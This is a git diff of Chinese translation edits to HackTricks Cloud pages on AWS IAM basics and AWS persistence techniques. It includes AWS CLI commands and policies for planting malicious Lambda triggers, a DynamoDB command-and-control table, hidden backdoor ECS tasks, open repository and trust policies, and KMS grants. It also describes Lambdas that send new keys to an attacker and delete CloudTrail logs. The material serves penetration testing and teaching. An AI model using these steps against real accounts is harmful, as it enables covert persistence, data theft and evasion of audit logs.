-在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够**为他们分配策略**到**组织的任何帐户**。 +在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略** 到 **组织的任何帐户**。 -为了给予身份中心用户/组对帐户的访问,将创建一个**信任身份中心的 SAML 身份提供者**,并在目标帐户中创建一个**信任身份提供者并具有指示策略的角色**。 +为了给身份中心用户/组访问一个帐户,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标帐户中创建一个 **信任身份提供者并具有指示策略的角色**。 #### AwsSSOInlinePolicy -可以通过内联策略**向通过 IAM 身份中心创建的角色授予权限**。在被授予**AWS 身份中心内联策略**的帐户中创建的角色将具有名为**`AwsSSOInlinePolicy`**的内联策略中的这些权限。 +可以通过 **IAM 身份中心创建的角色的内联策略** 来 **授予权限**。在被授予 **AWS 身份中心内联策略** 的帐户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。 -因此,即使你看到两个具有名为**`AwsSSOInlinePolicy`**的内联策略的角色,也**并不意味着它们具有相同的权限**。 +因此,即使你看到两个带有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**。 ### 跨账户信任和角色 -**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后**允许另一个用户**(受信任)**访问他的帐户**,但仅**具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\ -建议**指定被信任的用户,而不是放置一些通用内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也将能够滥用此信任。 +**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信) **访问他的帐户**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\ +建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也可能滥用此信任。 -### AWS 简单 AD +### AWS Simple AD 不支持: @@ -278,20 +278,20 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访 - 架构扩展 - 无法直接访问操作系统或实例 -#### Web 联合或 OpenID 身份验证 +#### Web 联合或 OpenID 认证 -该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予对 AWS 控制台的访问,仅授予对 AWS 内部资源的访问。 +该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予访问 AWS 控制台的权限,仅授予对 AWS 内部资源的访问权限。 ### 其他 IAM 选项 -- 你可以**设置密码策略设置**选项,如最小长度和密码要求。 -- 你可以**下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用...)。你可以每**四小时**生成一次凭证报告。 +- 你可以 **设置密码策略设置**,选项如最小长度和密码要求。 +- 你可以 **下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用等)。你可以每 **四小时** 生成一次凭证报告。 -AWS 身份和访问管理(IAM)提供**细粒度的访问控制**,覆盖所有 AWS。使用 IAM,你可以指定**谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的员工和系统的权限,以**确保最小权限**。 +AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖所有 AWS。使用 IAM,你可以指定 **谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的员工和系统的权限,以 **确保最小权限**。 ### IAM ID 前缀 -在[**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)中,你可以找到根据其性质的键的**IAM ID 前缀**: +在 [**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) 中,你可以找到根据其性质的键的 **IAM ID 前缀**: | ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -320,12 +320,12 @@ AWS 身份和访问管理(IAM)提供**细粒度的访问控制**,覆盖所 - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## 杂项 +## 其他 -### CLI 身份验证 +### CLI 认证 -为了让常规用户通过 CLI 认证到 AWS,你需要拥有**本地凭证**。默认情况下,你可以在`~/.aws/credentials`中**手动**配置它们,或通过**运行**`aws configure`。\ -在该文件中,你可以拥有多个配置文件,如果在使用**aws cli**时**未指定配置文件**,则将使用该文件中名为**`[default]`**的配置文件。\ +为了让常规用户通过 CLI 认证到 AWS,你需要拥有 **本地凭证**。默认情况下,你可以在 `~/.aws/credentials` 中 **手动** 配置它们,或通过 **运行** `aws configure`。\ +在该文件中,你可以拥有多个配置文件,如果 **未指定配置文件**,使用 **aws cli** 时,将使用该文件中名为 **`[default]`** 的配置文件。\ 具有多个配置文件的凭证文件示例: ``` [default] @@ -337,7 +337,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**在这些账户内假设角色**的权限,您不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。 +如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**假设这些账户中的角色**的权限,您就不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。 您可以使用`~/.aws/config`文件来[**指示要假设的角色**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html),然后像往常一样使用`--profile`参数(`assume-role`将以透明的方式为用户执行)。\ 配置文件示例: @@ -353,7 +353,7 @@ sts_regional_endpoints = regional ``` aws --profile acc2 ... ``` -如果您正在寻找类似的东西,但针对**浏览器**,您可以查看**扩展** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)。 +如果您正在寻找类似的东西,但用于**浏览器**,您可以查看**扩展** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)。 ## 参考文献 diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index ee9ea8ce7..eb31163a0 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -44,7 +44,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ] } ``` -6. 请注意在前面的策略中,只有来自 **组织** 的 **存储库** 的一个 **分支** 被授权具有特定的 **触发器**。 +6. 请注意在前面的策略中,只有 **组织** 的 **存储库** 中的一个 **分支** 被授权具有特定的 **触发器**。 7. github action 将能够 **冒充** 的 **角色** 的 **ARN** 将是 github action 需要知道的“秘密”,因此 **将其存储** 在 **环境** 中的 **秘密** 内。 8. 最后,使用 github action 配置工作流将使用的 AWS 凭据: ```yaml @@ -108,13 +108,13 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve ] } ``` -该策略正确地指示**只有**具有**id** `20C159CDF6F2349B68846BEC03BE031B`的**EKS集群**可以承担该角色。然而,它并没有指明哪个服务账户可以承担它,这意味着**任何具有Web身份令牌的服务账户**都将**能够承担**该角色。 +该策略正确地指示**只有**具有**id** `20C159CDF6F2349B68846BEC03BE031B`的**EKS集群**可以假设该角色。然而,它没有指明哪个服务账户可以假设它,这意味着**任何具有Web身份令牌的服务账户**都将**能够假设**该角色。 -为了指定**哪个服务账户应该能够承担该角色,**需要指定一个**条件**,其中**指定服务账户名称**,例如: +为了指定**哪个服务账户应该能够假设该角色,**需要指定一个**条件**,其中**指定服务账户名称,**例如: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` -## References +## 参考 - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index cde637d91..199375575 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -10,8 +10,8 @@ - **access-analyzer:Get\*** - **iam:CreateServiceLinkedRole** - **access-analyzer:CreateAnalyzer** -- 如果客户为您生成分析器,则可选,但通常直接请求此权限更容易) +- 如果客户为您生成分析器,则为可选,但通常只需请求此权限更容易) - **access-analyzer:DeleteAnalyzer** -- 如果客户为您删除分析器,则可选,但通常直接请求此权限更容易) +- 如果客户为您删除分析器,则为可选,但通常只需请求此权限更容易) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 93f423119..aac4a0b64 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -4,7 +4,7 @@ ## API Gateway -有关更多信息,请访问: +更多信息请访问: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -17,16 +17,16 @@ ### Modify Lambda Authorizers 修改 lambda 授权者的代码以授予自己对所有端点的访问权限。\ -或者只需删除授权者的使用。 +或者直接移除授权者的使用。 ### IAM Permissions 如果资源使用 IAM 授权者,您可以通过修改 IAM 权限来授予自己访问权限。\ -或者只需删除授权者的使用。 +或者直接移除授权者的使用。 ### API Keys 如果使用了 API 密钥,您可以泄露它们以保持持久性,甚至创建新的密钥。\ -或者只需删除 API 密钥的使用。 +或者直接移除 API 密钥的使用。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index f6fc5df40..412dc2b92 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -1,4 +1,4 @@ -# AWS - Cognito Persistence +# AWS - Cognito 持久性 {{#include ../../../banners/hacktricks-training.md}} @@ -15,10 +15,10 @@ Cognito 是一个允许为未认证和已认证用户分配角色并控制用户目录的服务。可以更改几种不同的配置以保持某种持久性,例如: - **将用户池**添加到由用户控制的身份池 -- 为**未认证身份池**提供**IAM角色并允许基本身份验证流程** +- 为未认证身份池提供一个**IAM角色并允许基本身份验证流程** - 或者为**已认证身份池**提供角色,如果攻击者可以登录 - 或者**提高给定角色的权限** -- **通过受控属性的用户或新用户在**用户池中**创建、验证和权限提升** +- **通过受控属性创建、验证和权限提升**用户或新用户在**用户池**中 - **允许外部身份提供者**在用户池或身份池中登录 查看如何执行这些操作 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 15d7ea70c..6cf7e4c65 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -12,7 +12,7 @@ ### 使用 Lambda 后门的 DynamoDB 触发器 -通过使用 DynamoDB 触发器,攻击者可以通过将恶意 Lambda 函数与表关联来创建一个 **隐蔽的后门**。当添加、修改或删除项目时,可以触发 Lambda 函数,从而允许攻击者在 AWS 账户内执行任意代码。 +通过使用 DynamoDB 触发器,攻击者可以通过将恶意 Lambda 函数与表关联来创建一个 **隐秘的后门**。当添加、修改或删除项目时,可以触发 Lambda 函数,从而允许攻击者在 AWS 账户内执行任意代码。 ```bash # Create a malicious Lambda function aws lambda create-function \ @@ -34,7 +34,7 @@ aws lambda create-event-source-mapping \ --event-source \ --region ``` -为了保持持久性,攻击者可以在DynamoDB表中创建或修改项目,这将触发恶意的Lambda函数。这允许攻击者在AWS账户内执行代码,而无需直接与Lambda函数交互。 +为了保持持久性,攻击者可以在DynamoDB表中创建或修改项目,这将触发恶意的Lambda函数。这使得攻击者能够在AWS账户内执行代码,而无需直接与Lambda函数交互。 ### DynamoDB作为C2通道 @@ -54,6 +54,6 @@ aws dynamodb put-item \ --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ --region ``` -被攻陷的实例或 Lambda 函数可以定期检查 C2 表以获取新命令,执行它们,并可选择将结果报告回表中。这使攻击者能够保持对被攻陷资源的持久性和控制。 +被攻陷的实例或 Lambda 函数可以定期检查 C2 表以获取新命令,执行这些命令,并可选择将结果报告回表中。这使攻击者能够保持对被攻陷资源的持久性和控制。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index 4e8eaf642..907c789b0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -18,7 +18,7 @@ ### EC2 生命周期管理器 -该服务允许**调度**创建**AMI 和快照**,甚至**与其他账户共享**。\ +该服务允许**调度**创建 AMI 和快照,甚至**与其他账户共享**。\ 攻击者可以配置**每周生成所有镜像或所有卷的 AMI 或快照**并**与他的账户共享**。 ### 定时实例 @@ -27,14 +27,14 @@ ### Spot Fleet 请求 -Spot 实例比常规实例**便宜**。攻击者可以发起一个**为期 5 年的小型 Spot Fleet 请求**(例如),并**自动分配 IP**,以及一个**用户数据**,在**Spot 实例启动时**发送给攻击者**IP 地址**和**高权限 IAM 角色**。 +Spot 实例比常规实例**便宜**。攻击者可以发起一个**为期 5 年的小型 Spot Fleet 请求**(例如),并**自动分配 IP**,以及一个**用户数据**,在 Spot 实例启动时发送给攻击者**和 IP 地址**,并带有**高权限的 IAM 角色**。 ### 后门实例 攻击者可以访问实例并对其进行后门处理: - 例如使用传统的**rootkit** -- 添加一个新的**公共 SSH 密钥**(查看 [EC2 权限提升选项](../aws-privilege-escalation/aws-ec2-privesc.md)) +- 添加新的**公共 SSH 密钥**(查看 [EC2 权限提升选项](../aws-privilege-escalation/aws-ec2-privesc.md)) - 对**用户数据**进行后门处理 ### **后门启动配置** diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 95a579b72..b7ded6a9f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -1,4 +1,4 @@ -# AWS - ECR Persistence +# AWS - ECR 持久性 {{#include ../../../banners/hacktricks-training.md}} @@ -10,13 +10,13 @@ ../aws-services/aws-ecr-enum.md {{#endref}} -### 带有恶意代码的隐藏Docker镜像 +### 带有恶意代码的隐藏 Docker 镜像 -攻击者可以**将包含恶意代码的Docker镜像**上传到ECR存储库,并利用它在目标AWS账户中保持持久性。然后,攻击者可以以隐蔽的方式将恶意镜像部署到账户内的各种服务,例如Amazon ECS或EKS。 +攻击者可以 **将包含恶意代码的 Docker 镜像上传** 到 ECR 存储库,并利用它在目标 AWS 账户中保持持久性。攻击者随后可以以隐蔽的方式将恶意镜像部署到账户内的各种服务,例如 Amazon ECS 或 EKS。 ### 存储库策略 -向单个存储库添加策略,授予您自己(或所有人)对存储库的访问权限: +向单个存储库添加策略,授予自己(或所有人)对存储库的访问权限: ```bash aws ecr set-repository-policy \ --repository-name cluster-autoscaler \ @@ -41,11 +41,11 @@ aws ecr set-repository-policy \ } ``` > [!WARNING] -> 请注意,ECR要求用户通过IAM策略具有**权限**,以便在**认证**到注册表并从任何Amazon ECR存储库推送或拉取任何镜像之前,可以调用**`ecr:GetAuthorizationToken`** API。 +> 请注意,ECR要求用户在通过IAM策略**进行身份验证**之前,必须具有**权限**以调用**`ecr:GetAuthorizationToken`** API,以便能够向注册表推送或拉取任何来自任何Amazon ECR存储库的镜像。 ### 注册表策略与跨账户复制 -可以通过配置跨账户复制自动复制外部账户中的注册表,在那里您需要**指明外部账户**,您希望复制注册表。 +可以通过配置跨账户复制自动复制外部账户中的注册表,在此过程中需要**指明外部账户**,以便您想要复制注册表。
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index ab788d522..a97d3cbde 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -15,7 +15,7 @@ > [!NOTE] > TODO: 测试 -攻击者可以使用 Amazon EventBridge 创建一个隐藏的周期性 ECS 任务,以**定期调度恶意任务的执行**。该任务可以进行侦察、外泄数据或在 AWS 账户中维持持久性。 +攻击者可以使用 Amazon EventBridge 创建一个隐藏的周期性 ECS 任务,以 **定期调度恶意任务的执行**。该任务可以进行侦察、外泄数据或在 AWS 账户中保持持久性。 ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ @@ -49,7 +49,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ > [!NOTE] > TODO: 测试 -攻击者可以在现有的 ECS 任务定义中添加一个 **隐蔽的后门容器**,该容器与合法容器并行运行。后门容器可用于持久性和执行恶意活动。 +攻击者可以在现有的 ECS 任务定义中添加一个 **隐蔽的后门容器**,与合法容器并行运行。后门容器可用于持久性和执行恶意活动。 ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ @@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition } ]' ``` -### Undocumented ECS Service +### 未记录的 ECS 服务 > [!NOTE] -> TODO: Test +> TODO: 测试 -攻击者可以创建一个**未记录的ECS服务**,该服务运行恶意任务。通过将所需的任务数量设置为最小并禁用日志记录,管理员更难注意到该恶意服务。 +攻击者可以创建一个 **未记录的 ECS 服务**,运行恶意任务。通过将所需的任务数量设置为最小并禁用日志记录,管理员更难注意到恶意服务。 ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index ac6bc142e..fe889ae08 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -18,16 +18,16 @@ 攻击者可以在 S3 仓库中植入后门代码,以便它始终执行其后门和预期代码。 -### 新的植入后门版本 +### 新的后门版本 -攻击者可以部署一个新的植入后门的应用程序版本,而不是更改实际版本中的代码。 +攻击者可以部署一个新的后门版本的应用程序,而不是更改实际版本中的代码。 ### 滥用自定义资源生命周期钩子 > [!NOTE] > TODO: 测试 -Elastic Beanstalk 提供生命周期钩子,允许您在实例配置和终止期间运行自定义脚本。攻击者可以 **配置生命周期钩子以定期执行一个脚本,提取数据或保持对 AWS 账户的访问**。 +Elastic Beanstalk 提供生命周期钩子,允许您在实例配置和终止期间运行自定义脚本。攻击者可以 **配置生命周期钩子以定期执行一个脚本,窃取数据或保持对 AWS 账户的访问**。 ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index dbd67c1a0..fba3e4959 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -17,11 +17,11 @@ - 创建访问密钥(新用户或所有用户的访问密钥) - 授予受控用户/组额外权限(附加策略或内联策略) - 禁用 MFA / 添加您自己的 MFA 设备 -- 创建角色链 juggling 情况(有关更多信息,请参见下面的 STS 持久性) +- 创建角色链 juggling 情况(有关此内容,请参见下面的 STS 持久性) ### 后门角色信任策略 -您可以后门信任策略,以便能够假设它用于由您控制的外部资源(或对所有人): +您可以在信任策略中设置后门,以便能够假设它用于由您控制的外部资源(或对所有人): ```json { "Version": "2012-10-17", @@ -38,10 +38,10 @@ ``` ### 后门策略版本 -将管理员权限授予一个不是最后版本的策略(最后版本应该看起来合法),然后将该版本的策略分配给一个受控用户/组。 +将管理员权限授予一个不是其最后版本的策略(最后版本应该看起来合法),然后将该版本的策略分配给一个受控用户/组。 ### 后门 / 创建身份提供者 -如果账户已经信任一个常见的身份提供者(如Github),则可以增加信任的条件,以便攻击者可以利用它们。 +如果账户已经信任一个常见的身份提供者(例如 Github),则可以增加信任的条件,以便攻击者可以利用它们。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index b8bdf0792..1f12ae19b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -12,7 +12,7 @@ ### 通过 KMS 策略授予访问权限 -攻击者可以使用权限 **`kms:PutKeyPolicy`** 来 **授予访问** 一个密钥给他控制的用户或甚至是一个外部账户。有关更多信息,请查看 [**KMS 权限提升页面**](../aws-privilege-escalation/aws-kms-privesc.md)。 +攻击者可以使用权限 **`kms:PutKeyPolicy`** 来 **授予访问** 某个密钥给他控制的用户或甚至外部账户。有关更多信息,请查看 [**KMS Privesc 页面**](../aws-privilege-escalation/aws-kms-privesc.md)。 ### 永久授权 @@ -20,7 +20,7 @@ 因此,用户可以拥有 10 个具有所有权限的授权。攻击者应该不断监控这一点。如果在某个时刻 1 个授权被移除,应该生成另外 10 个授权。 -(我们使用 10 而不是 2,以便能够检测到一个授权被移除,而用户仍然拥有一些授权) +(我们使用 10 而不是 2,以便能够检测到某个授权被移除,而用户仍然拥有一些授权) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index d2b82e30b..406467f94 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -1,4 +1,4 @@ -# AWS - Lambda Persistence +# AWS - Lambda 持久性 {{#include ../../../../banners/hacktricks-training.md}} @@ -10,17 +10,17 @@ ../../aws-services/aws-lambda-enum.md {{#endref}} -### Lambda Layer Persistence +### Lambda 层持久性 -可以**引入/后门一个层以在隐秘的方式下执行任意代码**,当lambda被执行时: +可以**引入/后门一个层以在 lambda 执行时执行任意代码**,以隐蔽的方式: {{#ref}} aws-lambda-layers-persistence.md {{#endref}} -### Lambda Extension Persistence +### Lambda 扩展持久性 -利用Lambda Layers,也可以利用扩展并在lambda中持久化,同时窃取和修改请求。 +滥用 Lambda 层也可以滥用扩展并在 lambda 中持久化,同时窃取和修改请求。 {{#ref}} aws-abusing-lambda-extensions.md @@ -28,37 +28,37 @@ aws-abusing-lambda-extensions.md ### 通过资源策略 -可以授予外部账户对不同lambda操作(如调用或更新代码)的访问权限: +可以授予外部账户对不同 lambda 操作(如调用或更新代码)的访问权限:
### 版本、别名和权重 -一个Lambda可以有**不同的版本**(每个版本有不同的代码)。\ -然后,您可以创建**不同版本的不同别名**并为每个设置不同的权重。\ -这样,攻击者可以创建一个**后门版本1**和一个**仅包含合法代码的版本2**,并**仅在1%的请求中执行版本1**以保持隐秘。 +一个 Lambda 可以有**不同的版本**(每个版本有不同的代码)。\ +然后,您可以创建**不同版本的不同别名**并为每个别名设置不同的权重。\ +这样,攻击者可以创建一个**后门版本 1**和一个**仅包含合法代码的版本 2**,并**仅在 1% 的请求中执行版本 1**以保持隐蔽。
-### 版本后门 + API Gateway +### 版本后门 + API 网关 -1. 复制Lambda的原始代码 -2. **创建一个新的版本,后门化**原始代码(或仅包含恶意代码)。发布并**将该版本部署**到$LATEST -1. 调用与lambda相关的API网关以执行代码 -3. **创建一个包含原始代码的新版本**,发布并将该**版本**部署到$LATEST。 +1. 复制 Lambda 的原始代码 +2. **创建一个新的版本,后门化**原始代码(或仅包含恶意代码)。发布并**将该版本**部署到 $LATEST +1. 调用与 lambda 相关的 API 网关以执行代码 +3. **创建一个包含原始代码的新版本**,发布并将该**版本**部署到 $LATEST。 1. 这将隐藏之前版本中的后门代码 -4. 转到API Gateway并**创建一个新的POST方法**(或选择任何其他方法),该方法将执行lambda的后门版本:`arn:aws:lambda:us-east-1::function::1` -1. 注意arn的最后部分:1 **指示函数的版本**(在此场景中,版本1将是后门版本)。 -5. 选择创建的POST方法,在操作中选择**`部署API`** -6. 现在,当您**通过POST调用函数时,您的后门**将被调用 +4. 转到 API 网关并**创建一个新的 POST 方法**(或选择任何其他方法),该方法将执行 lambda 的后门版本:`arn:aws:lambda:us-east-1::function::1` +1. 注意 arn 最后的 :1 **指示函数的版本**(在此场景中,版本 1 将是后门版本)。 +5. 选择创建的 POST 方法,在操作中选择**`部署 API`** +6. 现在,当您**通过 POST 调用函数时,您的后门**将被调用 -### Cron/Event actuator +### Cron/事件触发器 -您可以使**lambda函数在某些事件发生或经过一段时间后运行**,这使得lambda成为获得持久性和避免检测的良好且常见的方法。\ -在这里,您有一些想法,可以通过创建lambdas使您的**AWS存在更加隐秘**。 +您可以使**lambda 函数在某些事件发生或经过一段时间后运行**,这使得 lambda 成为获得持久性和避免检测的良好且常见的方法。\ +在这里,您有一些想法可以通过创建 lambdas 来使您在 AWS 中的**存在更加隐蔽**。 -- 每当创建新用户时,lambda生成一个新用户密钥并将其发送给攻击者。 -- 每当创建新角色时,lambda授予被攻陷用户假设角色的权限。 -- 每当生成新的cloudtrail日志时,删除/更改它们。 +- 每当创建新用户时,lambda 生成一个新用户密钥并将其发送给攻击者。 +- 每当创建新角色时,lambda 授予被攻陷用户假设角色的权限。 +- 每当生成新的 cloudtrail 日志时,删除/更改它们 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 5bcb6d4df..a78f6bd26 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -4,10 +4,10 @@ ## Lambda 扩展 -Lambda 扩展通过与各种 **监控、可观察性、安全和治理工具** 集成来增强功能。这些扩展通过 [.zip 压缩包使用 Lambda 层](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 添加,或包含在 [容器镜像部署中](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/),以两种模式运行:**内部** 和 **外部**。 +Lambda 扩展通过与各种 **监控、可观察性、安全性和治理工具** 集成来增强功能。这些扩展通过 [.zip 压缩包使用 Lambda 层](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 添加,或包含在 [容器镜像部署](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) 中,以两种模式运行:**内部** 和 **外部**。 - **内部扩展** 与运行时进程合并,使用 **特定语言的环境变量** 和 **包装脚本** 操作其启动。此自定义适用于多种运行时,包括 **Java Correto 8 和 11、Node.js 10 和 12,以及 .NET Core 3.1**。 -- **外部扩展** 作为单独的进程运行,与 Lambda 函数的生命周期保持操作对齐。它们与多种运行时兼容,如 **Node.js 10 和 12、Python 3.7 和 3.8、Ruby 2.5 和 2.7、Java Corretto 8 和 11、.NET Core 3.1** 以及 **自定义运行时**。 +- **外部扩展** 作为单独的进程运行,与 Lambda 函数的生命周期保持操作一致。它们与多种运行时兼容,如 **Node.js 10 和 12、Python 3.7 和 3.8、Ruby 2.5 和 2.7、Java Corretto 8 和 11、.NET Core 3.1** 以及 **自定义运行时**。 有关 [**Lambda 扩展如何工作的更多信息,请查看文档**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)。 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index af5a1d01b..2fcf4482f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -8,9 +8,9 @@ Lambda 层是一个 .zip 文件归档,**可以包含额外的代码**或其他 每个函数最多可以包含 **五个层**。当你在一个函数中包含一个层时,**内容会被提取到执行环境中的 `/opt`** 目录。 -**默认情况下**,你创建的 **层** 对你的 AWS 账户是 **私有** 的。你可以选择 